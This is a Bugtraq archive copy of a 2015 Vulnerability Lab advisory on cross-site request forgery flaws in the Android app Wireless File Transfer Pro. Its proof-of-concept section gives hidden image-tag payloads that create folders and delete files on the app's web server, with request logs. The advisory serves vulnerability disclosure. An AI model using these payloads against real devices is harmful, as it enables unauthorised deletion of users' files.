[prev in list] [next in list] [prev in thread] [next in thread]
List: bugtraq
Subject: Wireless File Transfer Pro Android - Multiple CSRF Vulnerabilities
From: Vulnerability Lab <research () vulnerability-lab ! com>
Date: 2015-02-26 11:48:11
Message-ID: 54EF07FB.50505 () vulnerability-lab ! com
[Download RAW message or body]
Document Title:
===============
Wireless File Transfer Pro Android - CSRF Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1437
Release Date:
=============
2015-02-25
Vulnerability Laboratory ID (VL-ID):
====================================
1437
Common Vulnerability Scoring System:
====================================
2.3
Product & Service Introduction:
===============================
Wireless File Transfer Pro is the advanced version of Wireless File Transfer.
(Copy of the Vendor Homepage: \
https://play.google.com/store/apps/details?id=com.lextel.WirelessFileTransferPro )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered multiple cross site \
request forgery web vulnerabilities in the Wireless File Transfer Pro v1.0.1 mobile \
android application.
Vulnerability Disclosure Timeline:
==================================
2015-02-25: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Lextel Technology
Product: Wireless File Transfer Pro - (Android) Web Application UI 5.9.5 - 1.0.1
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
Multiple cross site request forgery issues has been discovered in the Wireless File \
Transfer Pro 1.0.1 android mobile web-application. The mobile web-application is \
vulnerable to a combination of cross site request forgery and local command injection \
attacks.
Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers without privileged \
application user account and with medium user interaction. For security demonstration \
or to reproduce the security vulnerability follow the provided information and steps \
below to continue.
Create New Folder
<img src="http://192.168.1.2:8888/fileExplorer.html?action=create&type=folder&folderName=test1" \
width="0" height="0" border="0">
--- PoC Session Logs [GET] (Execution) ---
GET /fileExplorer.html?action=create&type=folder&folderName=test1 HTTP/1.1
Host: 192.168.1.2:8888
User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.2:8888/fileExplorer.html?action=brower&path=/sdcard
Connection: keep-alive
HTTP/1.1 200 OK
Cache-control: no-cache
Content-length: 4
<a href="#" onclick="actionBrower('/sdcard/test1')">test1</a></td></td><td \
width="24%"></td><td width="24%">2015-02-09 18:12:19</td><td width="15%">
Delete File, Folder
<img src="http://192.168.1.2:8888/fileExplorer.html?action=deleteFile&fileName=test""width="0" \
height="0" border="0">
--- PoC Session Logs [GET] (Execution) ---
GET /fileExplorer.html?action=deleteFile&fileName=test HTTP/1.1
Host: 192.168.1.2:8888
User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.2:8888/fileExplorer.html?action=brower&path=/sdcard
Connection: keep-alive
HTTP/1.1 200 OK
Cache-control: no-cache
Content-length: 30
Reference:
http://localhost:8888/
Security Risk:
==============
The security risk of the cross site request forgery web vulnerability in the create \
and delete function is estimated as medium. (CVSS 2.3)
Credits & Authors:
==================
Hadji Samir [s-dz@hotmail.fr]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. \
Vulnerability Lab disclaims all warranties, either expressed or implied, including \
the warranties of merchantability and capability for a particular purpose. \
Vulnerability-Lab or its suppliers are not liable in any case of damage, including \
direct, indirect, incidental, consequential loss of business profits or special \
damages, even if Vulnerability-Lab or its suppliers have been advised of the \
possibility of such damages. Some states do not allow the exclusion or limitation of \
liability for consequential or incidental damages so the foregoing limitation may \
not apply. We do not approve or encourage anybody to break any vendor licenses, \
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - \
www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - \
admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php \
- evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - \
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - \
vulnerability-lab.com/rss/rss_upcoming.php - \
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - \
vulnerability-lab.com/list-of-bug-bounty-programs.php - \
vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires \
authorization from Vulnerability Laboratory. Permission to electronically \
redistribute this alert in its unmodified form is granted. All other rights, \
including the use of other media, are reserved by Vulnerability-Lab Research Team or \
its suppliers. All pictures, texts, advisories, source code, videos and other \
information on this website is trademark of vulnerability-lab team & the specific \
authors or managers. To record, list (feed), modify, use or edit our material contact \
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]â„¢
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic